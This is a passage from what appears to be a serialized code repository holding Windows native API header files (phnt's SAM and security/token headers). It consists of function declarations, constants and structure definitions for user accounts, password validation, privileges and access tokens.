PSAM_HANDLE UserHandle,\n _Out_ PULONG GrantedAccess,\n _Out_ PULONG RelativeId\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamOpenUser(\n _In_ SAM_HANDLE DomainHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG UserId,\n _Out_ PSAM_HANDLE UserHandle\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamDeleteUser(\n _In_ SAM_HANDLE UserHandle\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamQueryInformationUser(\n _In_ SAM_HANDLE UserHandle,\n _In_ USER_INFORMATION_CLASS UserInformationClass,\n _Outptr_ PVOID *Buffer\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamSetInformationUser(\n _In_ SAM_HANDLE UserHandle,\n _In_ USER_INFORMATION_CLASS UserInformationClass,\n _In_ PVOID Buffer\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamGetGroupsForUser(\n _In_ SAM_HANDLE UserHandle,\n _Out_ _Deref_post_count_(*MembershipCount) PGROUP_MEMBERSHIP *Groups,\n _Out_ PULONG MembershipCount\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamChangePasswordUser(\n _In_ SAM_HANDLE UserHandle,\n _In_ PUNICODE_STRING OldPassword,\n _In_ PUNICODE_STRING NewPassword\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamChangePasswordUser2(\n _In_ PUNICODE_STRING ServerName,\n _In_ PUNICODE_STRING UserName,\n _In_ PUNICODE_STRING OldPassword,\n _In_ PUNICODE_STRING NewPassword\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamChangePasswordUser3(\n _In_ PUNICODE_STRING ServerName,\n _In_ PUNICODE_STRING UserName,\n _In_ PUNICODE_STRING OldPassword,\n _In_ PUNICODE_STRING NewPassword,\n _Outptr_ PDOMAIN_PASSWORD_INFORMATION *EffectivePasswordPolicy,\n _Outptr_ PUSER_PWD_CHANGE_FAILURE_INFORMATION *PasswordChangeFailureInfo\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamQueryDisplayInformation(\n _In_ SAM_HANDLE DomainHandle,\n _In_ DOMAIN_DISPLAY_INFORMATION DisplayInformation,\n _In_ ULONG Index,\n _In_ ULONG EntryCount,\n _In_ ULONG PreferredMaximumLength,\n _In_ PULONG TotalAvailable,\n _Out_ PULONG TotalReturned,\n _Out_ PULONG ReturnedEntryCount,\n _Outptr_ PVOID *SortedBuffer\n );\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamGetDisplayEnumerationIndex(\n _In_ SAM_HANDLE DomainHandle,\n _In_ DOMAIN_DISPLAY_INFORMATION DisplayInformation,\n _In_ PUNICODE_STRING Prefix,\n _Out_ PULONG Index\n );\n\n// Database replication\n\ntypedef enum _SECURITY_DB_DELTA_TYPE\n{\n SecurityDbNew = 1,\n SecurityDbRename,\n SecurityDbDelete,\n SecurityDbChangeMemberAdd,\n SecurityDbChangeMemberSet,\n SecurityDbChangeMemberDel,\n SecurityDbChange,\n SecurityDbChangePassword\n} SECURITY_DB_DELTA_TYPE, *PSECURITY_DB_DELTA_TYPE;\n\ntypedef enum _SECURITY_DB_OBJECT_TYPE\n{\n SecurityDbObjectSamDomain = 1,\n SecurityDbObjectSamUser,\n SecurityDbObjectSamGroup,\n SecurityDbObjectSamAlias,\n SecurityDbObjectLsaPolicy,\n SecurityDbObjectLsaTDomain,\n SecurityDbObjectLsaAccount,\n SecurityDbObjectLsaSecret\n} SECURITY_DB_OBJECT_TYPE, *PSECURITY_DB_OBJECT_TYPE;\n\ntypedef enum _SAM_ACCOUNT_TYPE\n{\n SamObjectUser = 1,\n SamObjectGroup,\n SamObjectAlias\n} SAM_ACCOUNT_TYPE, *PSAM_ACCOUNT_TYPE;\n\n#define SAM_USER_ACCOUNT (0x00000001)\n#define SAM_GLOBAL_GROUP_ACCOUNT (0x00000002)\n#define SAM_LOCAL_GROUP_ACCOUNT (0x00000004)\n\ntypedef struct _SAM_GROUP_MEMBER_ID\n{\n ULONG MemberRid;\n} SAM_GROUP_MEMBER_ID, *PSAM_GROUP_MEMBER_ID;\n\ntypedef struct _SAM_ALIAS_MEMBER_ID\n{\n PSID MemberSid;\n} SAM_ALIAS_MEMBER_ID, *PSAM_ALIAS_MEMBER_ID;\n\ntypedef union _SAM_DELTA_DATA\n{\n SAM_GROUP_MEMBER_ID GroupMemberId;\n SAM_ALIAS_MEMBER_ID AliasMemberId;\n ULONG AccountControl;\n} SAM_DELTA_DATA, *PSAM_DELTA_DATA;\n\ntypedef NTSTATUS (NTAPI *PSAM_DELTA_NOTIFICATION_ROUTINE)(\n _In_ PSID DomainSid,\n _In_ SECURITY_DB_DELTA_TYPE DeltaType,\n _In_ SECURITY_DB_OBJECT_TYPE ObjectType,\n _In_ ULONG ObjectRid,\n _In_opt_ PUNICODE_STRING ObjectName,\n _In_ PLARGE_INTEGER ModifiedCount,\n _In_opt_ PSAM_DELTA_DATA DeltaData\n );\n\n#define SAM_DELTA_NOTIFY_ROUTINE \"DeltaNotify\"\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamRegisterObjectChangeNotification(\n _In_ SECURITY_DB_OBJECT_TYPE ObjectType,\n _In_ HANDLE NotificationEventHandle\n );\n\nNTSTATUS\nNTAPI\nSamUnregisterObjectChangeNotification(\n _In_ SECURITY_DB_OBJECT_TYPE ObjectType,\n _In_ HANDLE NotificationEventHandle\n );\n\n// Compatibility mode\n\n#define SAM_SID_COMPATIBILITY_ALL 0\n#define SAM_SID_COMPATIBILITY_LAX 1\n#define SAM_SID_COMPATIBILITY_STRICT 2\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamGetCompatibilityMode(\n _In_ SAM_HANDLE ObjectHandle,\n _Out_ ULONG *Mode\n );\n\n// Password validation\n\ntypedef enum _PASSWORD_POLICY_VALIDATION_TYPE\n{\n SamValidateAuthentication = 1,\n SamValidatePasswordChange,\n SamValidatePasswordReset\n} PASSWORD_POLICY_VALIDATION_TYPE;\n\ntypedef struct _SAM_VALIDATE_PASSWORD_HASH\n{\n ULONG Length;\n _Field_size_bytes_(Length) PUCHAR Hash;\n} SAM_VALIDATE_PASSWORD_HASH, *PSAM_VALIDATE_PASSWORD_HASH;\n\n// Flags for PresentFields in SAM_VALIDATE_PERSISTED_FIELDS\n\n#define SAM_VALIDATE_PASSWORD_LAST_SET 0x00000001\n#define SAM_VALIDATE_BAD_PASSWORD_TIME 0x00000002\n#define SAM_VALIDATE_LOCKOUT_TIME 0x00000004\n#define SAM_VALIDATE_BAD_PASSWORD_COUNT 0x00000008\n#define SAM_VALIDATE_PASSWORD_HISTORY_LENGTH 0x00000010\n#define SAM_VALIDATE_PASSWORD_HISTORY 0x00000020\n\ntypedef struct _SAM_VALIDATE_PERSISTED_FIELDS\n{\n ULONG PresentFields;\n LARGE_INTEGER PasswordLastSet;\n LARGE_INTEGER BadPasswordTime;\n LARGE_INTEGER LockoutTime;\n ULONG BadPasswordCount;\n ULONG PasswordHistoryLength;\n _Field_size_bytes_(PasswordHistoryLength) PSAM_VALIDATE_PASSWORD_HASH PasswordHistory;\n} SAM_VALIDATE_PERSISTED_FIELDS, *PSAM_VALIDATE_PERSISTED_FIELDS;\n\ntypedef enum _SAM_VALIDATE_VALIDATION_STATUS\n{\n SamValidateSuccess = 0,\n SamValidatePasswordMustChange,\n SamValidateAccountLockedOut,\n SamValidatePasswordExpired,\n SamValidatePasswordIncorrect,\n SamValidatePasswordIsInHistory,\n SamValidatePasswordTooShort,\n SamValidatePasswordTooLong,\n SamValidatePasswordNotComplexEnough,\n SamValidatePasswordTooRecent,\n SamValidatePasswordFilterError\n} SAM_VALIDATE_VALIDATION_STATUS, *PSAM_VALIDATE_VALIDATION_STATUS;\n\ntypedef struct _SAM_VALIDATE_STANDARD_OUTPUT_ARG\n{\n SAM_VALIDATE_PERSISTED_FIELDS ChangedPersistedFields;\n SAM_VALIDATE_VALIDATION_STATUS ValidationStatus;\n} SAM_VALIDATE_STANDARD_OUTPUT_ARG, *PSAM_VALIDATE_STANDARD_OUTPUT_ARG;\n\ntypedef struct _SAM_VALIDATE_AUTHENTICATION_INPUT_ARG\n{\n SAM_VALIDATE_PERSISTED_FIELDS InputPersistedFields;\n BOOLEAN PasswordMatched;\n} SAM_VALIDATE_AUTHENTICATION_INPUT_ARG, *PSAM_VALIDATE_AUTHENTICATION_INPUT_ARG;\n\ntypedef struct _SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG\n{\n SAM_VALIDATE_PERSISTED_FIELDS InputPersistedFields;\n UNICODE_STRING ClearPassword;\n UNICODE_STRING UserAccountName;\n SAM_VALIDATE_PASSWORD_HASH HashedPassword;\n BOOLEAN PasswordMatch; // denotes if the old password supplied by user matched or not\n} SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG, *PSAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG;\n\ntypedef struct _SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG\n{\n SAM_VALIDATE_PERSISTED_FIELDS InputPersistedFields;\n UNICODE_STRING ClearPassword;\n UNICODE_STRING UserAccountName;\n SAM_VALIDATE_PASSWORD_HASH HashedPassword;\n BOOLEAN PasswordMustChangeAtNextLogon; // looked at only for password reset\n BOOLEAN ClearLockout; // can be used clear user account lockout\n}SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG, *PSAM_VALIDATE_PASSWORD_RESET_INPUT_ARG;\n\ntypedef union _SAM_VALIDATE_INPUT_ARG\n{\n SAM_VALIDATE_AUTHENTICATION_INPUT_ARG ValidateAuthenticationInput;\n SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG ValidatePasswordChangeInput;\n SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG ValidatePasswordResetInput;\n} SAM_VALIDATE_INPUT_ARG, *PSAM_VALIDATE_INPUT_ARG;\n\ntypedef union _SAM_VALIDATE_OUTPUT_ARG\n{\n SAM_VALIDATE_STANDARD_OUTPUT_ARG ValidateAuthenticationOutput;\n SAM_VALIDATE_STANDARD_OUTPUT_ARG ValidatePasswordChangeOutput;\n SAM_VALIDATE_STANDARD_OUTPUT_ARG ValidatePasswordResetOutput;\n} SAM_VALIDATE_OUTPUT_ARG, *PSAM_VALIDATE_OUTPUT_ARG;\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamValidatePassword(\n _In_opt_ PUNICODE_STRING ServerName,\n _In_ PASSWORD_POLICY_VALIDATION_TYPE ValidationType,\n _In_ PSAM_VALIDATE_INPUT_ARG InputArg,\n _Out_ PSAM_VALIDATE_OUTPUT_ARG *OutputArg\n );\n\n// Generic operation\n\ntypedef enum _SAM_GENERIC_OPERATION_TYPE\n{\n SamObjectChangeNotificationOperation\n} SAM_GENERIC_OPERATION_TYPE, *PSAM_GENERIC_OPERATION_TYPE;\n\ntypedef struct _SAM_OPERATION_OBJCHG_INPUT\n{\n BOOLEAN Register;\n ULONG64 EventHandle;\n SECURITY_DB_OBJECT_TYPE ObjectType;\n ULONG ProcessID;\n} SAM_OPERATION_OBJCHG_INPUT, *PSAM_OPERATION_OBJCHG_INPUT;\n\ntypedef struct _SAM_OPERATION_OBJCHG_OUTPUT\n{\n ULONG Reserved;\n} SAM_OPERATION_OBJCHG_OUTPUT, *PSAM_OPERATION_OBJCHG_OUTPUT;\n\ntypedef union _SAM_GENERIC_OPERATION_INPUT\n{\n SAM_OPERATION_OBJCHG_INPUT ObjChangeIn;\n} SAM_GENERIC_OPERATION_INPUT, *PSAM_GENERIC_OPERATION_INPUT;\n\ntypedef union _SAM_GENERIC_OPERATION_OUTPUT\n{\n SAM_OPERATION_OBJCHG_OUTPUT ObjChangeOut;\n} SAM_GENERIC_OPERATION_OUTPUT, *PSAM_GENERIC_OPERATION_OUTPUT;\n\n_Check_return_\nNTSTATUS\nNTAPI\nSamPerformGenericOperation(\n _In_opt_ PWSTR ServerName,\n _In_ SAM_GENERIC_OPERATION_TYPE OperationType,\n _In_ PSAM_GENERIC_OPERATION_INPUT OperationIn,\n _Out_ PSAM_GENERIC_OPERATION_OUTPUT *OperationOut\n );\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntseapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTSEAPI_H\n#define _NTSEAPI_H\n\n// Privileges\n\n#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L)\n#define SE_CREATE_TOKEN_PRIVILEGE (2L)\n#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L)\n#define SE_LOCK_MEMORY_PRIVILEGE (4L)\n#define SE_INCREASE_QUOTA_PRIVILEGE (5L)\n\n#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L)\n#define SE_TCB_PRIVILEGE (7L)\n#define SE_SECURITY_PRIVILEGE (8L)\n#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L)\n#define SE_LOAD_DRIVER_PRIVILEGE (10L)\n#define SE_SYSTEM_PROFILE_PRIVILEGE (11L)\n#define SE_SYSTEMTIME_PRIVILEGE (12L)\n#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L)\n#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L)\n#define SE_CREATE_PAGEFILE_PRIVILEGE (15L)\n#define SE_CREATE_PERMANENT_PRIVILEGE (16L)\n#define SE_BACKUP_PRIVILEGE (17L)\n#define SE_RESTORE_PRIVILEGE (18L)\n#define SE_SHUTDOWN_PRIVILEGE (19L)\n#define SE_DEBUG_PRIVILEGE (20L)\n#define SE_AUDIT_PRIVILEGE (21L)\n#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L)\n#define SE_CHANGE_NOTIFY_PRIVILEGE (23L)\n#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L)\n#define SE_UNDOCK_PRIVILEGE (25L)\n#define SE_SYNC_AGENT_PRIVILEGE (26L)\n#define SE_ENABLE_DELEGATION_PRIVILEGE (27L)\n#define SE_MANAGE_VOLUME_PRIVILEGE (28L)\n#define SE_IMPERSONATE_PRIVILEGE (29L)\n#define SE_CREATE_GLOBAL_PRIVILEGE (30L)\n#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L)\n#define SE_RELABEL_PRIVILEGE (32L)\n#define SE_INC_WORKING_SET_PRIVILEGE (33L)\n#define SE_TIME_ZONE_PRIVILEGE (34L)\n#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L)\n#define SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE (36L)\n#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE\n\n// Authz\n\n// begin_rev\n\n// Types\n\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10\n\n// Flags\n\n#define TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x0001\n#define TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x0002\n#define TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x0004\n#define TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x0008\n#define TOKEN_SECURITY_ATTRIBUTE_DISABLED 0x0010\n#define TOKEN_SECURITY_ATTRIBUTE_MANDATORY 0x0020\n#define TOKEN_SECURITY_ATTRIBUTE_COMPARE_IGNORE 0x0040\n\n#define TOKEN_SECURITY_ATTRIBUTE_VALID_FLAGS ( \\\n TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE | \\\n TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE | \\\n TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY | \\\n TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT | \\\n TOKEN_SECURITY_ATTRIBUTE_DISABLED | \\\n TOKEN_SECURITY_ATTRIBUTE_MANDATORY)\n\n#define TOKEN_SECURITY_ATTRIBUTE_CUSTOM_FLAGS 0xffff0000\n\n// end_rev\n\n// private\ntypedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE\n{\n ULONG64 Version;\n UNICODE_STRING Name;\n} TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE;\n\n// private\ntypedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE\n{\n PVOID pValue;\n ULONG ValueLength;\n} TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE;\n\n// private\ntypedef struct _TOKEN_SECURITY_ATTRIBUTE_V1\n{\n UNICODE_STRING Name;\n USHORT ValueType;\n USHORT Reserved;\n ULONG Flags;\n ULONG ValueCount;\n union\n {\n PLONG64 pInt64;\n PULONG64 pUint64;\n PUNICODE_STRING pString;\n PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn;\n PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString;\n } Values;\n} TOKEN_SECURITY_ATTRIBUTE_V1, *PTOKEN_SECURITY_ATTRIBUTE_V1;\n\n// rev\n#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 1\n// rev\n#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1\n\n// private\ntypedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION\n{\n USHORT Version;\n USHORT Reserved;\n ULONG AttributeCount;\n union\n {\n PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1;\n } Attribute;\n} TOKEN_SECURITY_ATTRIBUTES_INFORMATION, *PTOKEN_SECURITY_ATTRIBUTES_INFORMATION;\n\n// rev\ntypedef struct _TOKEN_PROCESS_TRUST_LEVEL\n{\n PSID TrustLevelSid;\n} TOKEN_PROCESS_TRUST_LEVEL, *PTOKEN_PROCESS_TRUST_LEVEL;\n\n// Tokens\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateToken(\n _Out_ PHANDLE TokenHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ TOKEN_TYPE TokenType,\n _In_ PLUID AuthenticationId,\n _In_ PLARGE_INTEGER ExpirationTime,\n _In_ PTOKEN_USER User,\n _In_ PTOKEN_GROUPS Groups,\n _In_ PTOKEN_PRIVILEGES Privileges,\n _In_opt_ PTOKEN_OWNER Owner,\n _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup,\n _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl,\n _In_ PTOKEN_SOURCE TokenSource\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateLowBoxToken(\n _Out_ PHANDLE TokenHandle,\n _In_ HANDLE ExistingTokenHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ PSID PackageSid,\n _In_ ULONG CapabilityCount,\n _In_reads_opt_(CapabilityCount) PSID_AND_ATTRIBUTES Capabilities,\n _In_ ULONG HandleCount,\n _In_reads_opt_(HandleCount) HANDLE *Handles\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN8)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateTokenEx(\n _Out_ PHANDLE TokenHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ TOKEN_TYPE TokenType,\n _In_ PLUID AuthenticationId,\n _In_ PLARGE_INTEGER ExpirationTime,\n _In_ PTOKEN_USER User,\n _In_ PTOKEN_GROUPS Groups,\n _In_ PTOKEN_PRIVILEGES Privileges,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION UserAttributes,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION DeviceAttributes,\n _In_opt_ PTOKEN_GROUPS DeviceGroups,\n _In_opt_ PTOKEN_MANDATORY_POLICY TokenMandatoryPolicy,\n _In_opt_ PTOKEN_OWNER Owner,\n _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup,\n _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl,\n _In_ PTOKEN_SOURCE TokenSource\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenProcessToken(\n _In_ HANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _Out_ PHANDLE TokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenProcessTokenEx(\n _In_ HANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG HandleAttributes,\n _Out_ PHANDLE TokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenThreadToken(\n _In_ HANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ BOOLEAN OpenAsSelf,\n _Out_ PHANDLE TokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenThreadTokenEx(\n _In_ HANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ BOOLEAN OpenAsSelf,\n _In_ ULONG HandleAttributes,\n _Out_ PHANDLE TokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDuplicateToken(\n _In_ HANDLE ExistingTokenHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ BOOLEAN EffectiveOnly,\n _In_ TOKEN_TYPE TokenType,\n _Out_ PHANDLE NewTokenHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationToken(\n _In_ HANDLE TokenHandle,\n _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,\n _Out_writes_bytes_(TokenInformationLength) PVOID TokenInformation,\n _In_ ULONG TokenInformationLength,\n _Out_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationToken(\n _In_ HANDLE TokenHandle,\n _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,\n _In_reads_bytes_(TokenInformationLength) PVOID TokenInformation,\n _In_ ULONG TokenInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAdjustPrivilegesToken(\n _In_ HANDLE TokenHandle,\n _In_ BOOLEAN DisableAllPrivileges,\n _In_opt_ PTOKEN_PRIVILEGES NewState,\n _In_ ULONG BufferLength,\n _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAdjustGroupsToken(\n _In_ HANDLE TokenHandle,\n _In_ BOOLEAN ResetToDefault,\n _In_opt_ PTOKEN_GROUPS NewState,\n _In_opt_ ULONG BufferLength,\n _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_GROUPS PreviousState,\n _Out_opt_ PULONG ReturnLength\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAdjustTokenClaimsAndDeviceGroups(\n _In_ HANDLE TokenHandle,\n _In_ BOOLEAN UserResetToDefault,\n _In_ BOOLEAN DeviceResetToDefault,\n _In_ BOOLEAN DeviceGroupsResetToDefault,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewUserState,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewDeviceState,\n _In_opt_ PTOKEN_GROUPS NewDeviceGroupsState,\n _In_ ULONG UserBufferLength,\n _Out_writes_bytes_to_opt_(UserBufferLength, *UserReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousUserState,\n _In_ ULONG DeviceBufferLength,\n _Out_writes_bytes_to_opt_(DeviceBufferLength, *DeviceReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousDeviceState,\n _In_ ULONG DeviceGroupsBufferLength,\n _Out_writes_bytes_to_opt_(DeviceGroupsBufferLength, *DeviceGroupsReturnBufferLength) PTOKEN_GROUPS PreviousDeviceGroups,\n _Out_opt_ PULONG UserReturnLength,\n _Out_opt_ PULONG DeviceReturnLength,\n _Out_opt_ PULONG DeviceGroupsReturnBufferLength\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFilterToken(\n _In_ HANDLE ExistingTokenHandle,\n _In_ ULONG Flags,\n _In_opt_ PTOKEN_GROUPS SidsToDisable,\n _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete,\n _In_opt_ PTOKEN_GROUPS RestrictedSids,\n _Out_ PHANDLE NewTokenHandle\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFilterTokenEx(\n _In_ HANDLE ExistingTokenHandle,\n _In_ ULONG Flags,\n _In_opt_ PTOKEN_GROUPS SidsToDisable,\n _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete,\n _In_opt_ PTOKEN_GROUPS RestrictedSids,\n _In_ ULONG DisableUserClaimsCount,\n _In_opt_ PUNICODE_STRING UserClaimsToDisable,\n _In_ ULONG DisableDeviceClaimsCount,\n _In_opt_ PUNICODE_STRING DeviceClaimsToDisable,\n _In_opt_ PTOKEN_GROUPS DeviceGroupsToDisable,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedUserAttributes,\n _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedDeviceAttributes,\n _In_opt_ PTOKEN_GROUPS RestrictedDeviceGroups,\n _Out_ PHANDLE NewTokenHandle\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCompareTokens(\n _In_ HANDLE FirstTokenHandle,\n _In_ HANDLE SecondTokenHandle,\n _Out_ PBOOLEAN Equal\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPrivilegeCheck(\n _In_ HANDLE ClientToken,\n _Inout_ PPRIVILEGE_SET RequiredPrivileges,\n _Out_ PBOOLEAN Result\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtImpersonateAnonymousToken(\n _In_ HANDLE ThreadHandle\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySecurityAttributesToken(\n _In_ HANDLE TokenHandle,\n _In_reads_opt_(NumberOfAttributes) PUNICODE_STRING Attributes,\n _In_ ULONG NumberOfAttributes,\n _Out_writes_bytes_(Length) PVOID Buffer, // PTOKEN_SECURITY_ATTRIBUTES_INFORMATION\n _In_ ULONG Length,\n _Out_ PULONG ReturnLength\n );\n#endif\n\n// Access checking\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAccessCheck(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ PGENERIC_MAPPING GenericMapping,\n _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet,\n _Inout_ PULONG PrivilegeSetLength,\n _Out_ PACCESS_MASK GrantedAccess,\n _Out_ PNTSTATUS AccessStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAccessCheckByType(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet,\n _Inout_ PULONG PrivilegeSetLength,\n _Out_ PACCESS_MASK GrantedAccess,\n _Out_ PNTSTATUS AccessStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAccessCheckByTypeResultList(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID PrincipalSelfSid,\n _In_ HANDLE ClientToken,\n _In_ ACCESS_MASK DesiredAccess,\n _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList,\n _In_ ULONG ObjectTypeListLength,\n _In_ PGENERIC_MAPPING GenericMapping,\n _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet,\n 